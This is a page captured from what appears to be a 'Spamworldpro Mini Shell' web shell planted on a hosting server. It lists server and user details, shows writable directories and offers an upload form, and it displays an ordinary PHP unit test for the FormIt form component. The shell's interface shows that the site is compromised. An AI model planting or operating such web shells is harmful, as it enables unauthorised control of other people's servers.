Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/public_html/core/components/formit/test/Tests/Cases/Basic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/palandch/public_html/core/components/formit/test/Tests/Cases/Basic/PreHookTest.php
<?php
/**
 * @package formit-test
 */
/**
 * Creates a test for a form with a prehook that sets fields.
 *
 * @package formit-test
 * @group Cases
 * @group Cases.Basic
 * @group Cases.Basic.PreHook
 * @group Hooks
 */
class PreHookTest extends FiTestCase {

    /**
     * @return void
     */
    public function setUp() {
        parent::setUp();
        $this->formit->config['validate'] = 'name:required,email:required';
        $this->formit->config['placeholderPrefix'] = 'fi.';
        $this->formit->config['submitVar'] = 'submit-btn';
        $this->formit->initialize('web');
        $_POST = array(
            'name' => 'John Doe',
            'email' => 'my@email.com',
            'submit-btn' => 'Submit Contact Form',
        );
        $_REQUEST = $_POST;
    }

    /**
     * Attempt to run a file-based preHook and set the value of a field
     * 
     * @return void
     */
    public function testSetValue() {
        $this->formit->config['preHooks'] = $this->formit->config['testsPath'].'hooks/pre/prehooktest.setvalue.php';
        $this->processForm();

        $val = $this->formit->preHooks->getValue('name');
        $success = strcmp($val,'TestPreValue') == 0;
        $this->assertTrue($success,'The preHook was not fired or did not set the value of the field.');
    }
}

Spamworldpro Mini